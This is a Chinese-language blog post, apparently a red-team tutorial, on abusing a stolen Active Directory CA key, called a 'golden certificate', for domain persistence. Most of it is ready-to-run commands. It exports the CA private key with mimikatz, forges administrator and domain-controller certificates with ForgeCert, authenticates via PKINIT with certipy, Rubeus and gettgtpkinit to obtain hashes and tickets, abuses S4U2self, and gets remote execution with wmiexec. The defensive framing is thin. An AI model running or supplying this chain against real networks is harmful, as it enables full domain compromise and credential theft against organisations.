域内证书维权

黄金证书

证书链中,除了处于证书链中的 根信任证书 外,其他证书的签名需要使用它上一级证书的私钥,而 根信任证书 使用自己的私钥给自己签名。CA 证书使用其私钥签发其他证书,因为 CA 证书被根信任证书的私钥签了名,因此 CA 证书继承了根信任证书的信任。如果 CA 证书私钥泄露,我们就能使用 CA 证书签发其他证书。

在域环境下,域用户申请 User 模板的证书用于客户端身份验证,这类证书由 CA证书 签发,一般 CA 证书存放在所有域用户机器下的 受信任证书列表 中。那么如果我们获得 CA 证书的私钥,那么可以使用它伪造域用户证书链 ,这样我们获得域内所有用户凭据。 此外,我们称之为这些 CA 证书为 黄金证书

如何判断CA证书?
  • 只有CA证书有 "CA版本" 这一扩展。

  • CA 证书没有 EKU。

  • 证书的颁发者 Issuer 和主题名称 Subject (使用者)都设置为 CA 的专有名称。

注意:CA 证书的私钥受到 CA 服务器 DPAPI 保护。

证书导出

mimikatz
复制代码
# 在 CA 机器上使用 mimikatz 执行如下命令导出机器证书,导出的.pfx 文件即包含 CA 的证书和私钥,该 pfx 文件的导出密码为mimikatz。
​
mimikatz.exe "privilege::debug" "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" exit
certipy
复制代码
# 请求某一客户的证书
certipy ca -u administrator@HACK.com -p p-0p-0p-0 -target 192.168.72.21

证书伪造

利用获得的黄金证书,颁发域用户证书。

ForgeCert
复制代码
伪造 administrator 用户证书,证书的密码为空。
​
# 为用户生成证书
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=User" --SubjectAltName "administrator@HACK.com" --NewCertPath administrator.pfx --NewCertPassword ""
​
#为机器生成黄金票据
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "DC01$@HACK.com" --NewCertPath DC01.pfx --NewCertPassword ""
​
#如果 CA 服务器不是域控的话,需要指定 CRL 列表
--CRL "ldap:///CN=xie-CA-CA,CN=CA,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=xie,DC=com?certificateRevocationList?base?objectClass =cRLDistributionPoint"

证书攻击

上一步骤已经伪造好了用户证书,可以通过此用户证书进行 PKINIT kerberos 身份验证获取域用户hash。

certipy
复制代码
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in administrator.pfx -nodes -out administrator.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx
​
#认证获得 hash
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.4 -debug
Rebeus
复制代码
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
                                                              ^^^^^^^
                                                            证书导入时的密码

机器证书利用

域内环境下,机器账号的hash不能直接利用。

mimikatz

导出证书及其私钥

复制代码
mimikatz.exe "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" "exit"
certipy(攻击域控)
复制代码
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "DC01$@HACK.com" --NewCertPath DC01.pfx --NewCertPassword ""
​
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in DC01.pfx -nodes -out DC01.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in DC01.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out DC01.pfx
​
certipy auth -pfx DC01.pfx -dc-ip 192.168.72.21 -debug
普通机器账号
复制代码
# 颁发 comp1$ 的机器账户证书
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "comp1$@HACK.com" --NewCertPath comp1.pfx --NewCertPassword ""
​
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in /tmp/comp1.pfx -nodes -out /tmp/comp1.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in /tmp/comp1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out /tmp/comp1.pfx
​
# 利用机器账户证书生成 .ccache 格式的 tgt。
python3 gettgtpkinit.py -cert-pfx /tmp/comp1.pfx -pfx-pass mimikatz -dc-ip 192.168.72.21 -v HACK.com/comp1\$ comp1.ccache
​
# 利用 comp1$ 机器账户 tgt 为域管理员申请访问 comp1.HACK.com CIFS 协议的票据
python3 gets4uticket.py kerberos+ccache://HACK.com\\comp1\$:comp1.ccache@DC01.HACK.com cifs/comp1.HACK.com@HACK.com administrator@HACK.com administrator.ccache -v
​
# 导入票据
export KRB5CCNAME=administrator.ccache
​
# 以 administrator 访问 comp1.HACK.com
python3 wmiexec.py -k -no-pass HACK.com/administrator@comp1.HACK.com

此过程没有利用到委派攻击,而是利用到了 S4U2self 的宽松性。整个过程仅依赖 S4U2self。

S4U2self 的宽松性:S4U2self 的设计初衷是允许服务在需要知道用户身份时(如审计日志),无需用户主动认证即可获取票据。因此默认情况下,任何服务账户均可使用 S4U2self 为自己服务请求用户票据,无需额外权限。

总结:该攻击成功的原因是 Kerberos 协议中服务账户天然拥有为自身服务生成任意用户票据的能力,而无需委派。这是协议设计特性,而非配置疏漏。

相关推荐
范桂飓10 分钟前
RoCEv2 高性能传输协议与 Lossless 无损网络
网络
zl0_00_015 分钟前
upload-labs
网络
老猿讲编程1 小时前
安全C语言编码规范概述
c语言·开发语言·安全
你怎么睡得着的!2 小时前
【护网行动-红蓝攻防】第一章-红蓝对抗基础 认识红蓝紫
网络·安全·web安全·网络安全
人工干智能3 小时前
科普:你的笔记本电脑中有三个IP:127.0.0.1、无线网 IP 和局域网 IP;两个域名:localhost和host.docker.internal
网络协议·tcp/ip·电脑
禁默4 小时前
【第四届网络安全、人工智能与数字经济国际学术会议(CSAIDE 2025】网络安全,人工智能,数字经济的研究
人工智能·安全·web安全·数字经济·学术论文
qwy7152292581635 小时前
13-R数据重塑
服务器·数据库·r语言
冰淇淋百宝箱7 小时前
AI 安全时代:SDL与大模型结合的“王炸组合”——技术落地与实战指南
人工智能·安全
网络安全(king)7 小时前
网络安全知识:网络安全网格架构
安全·web安全·架构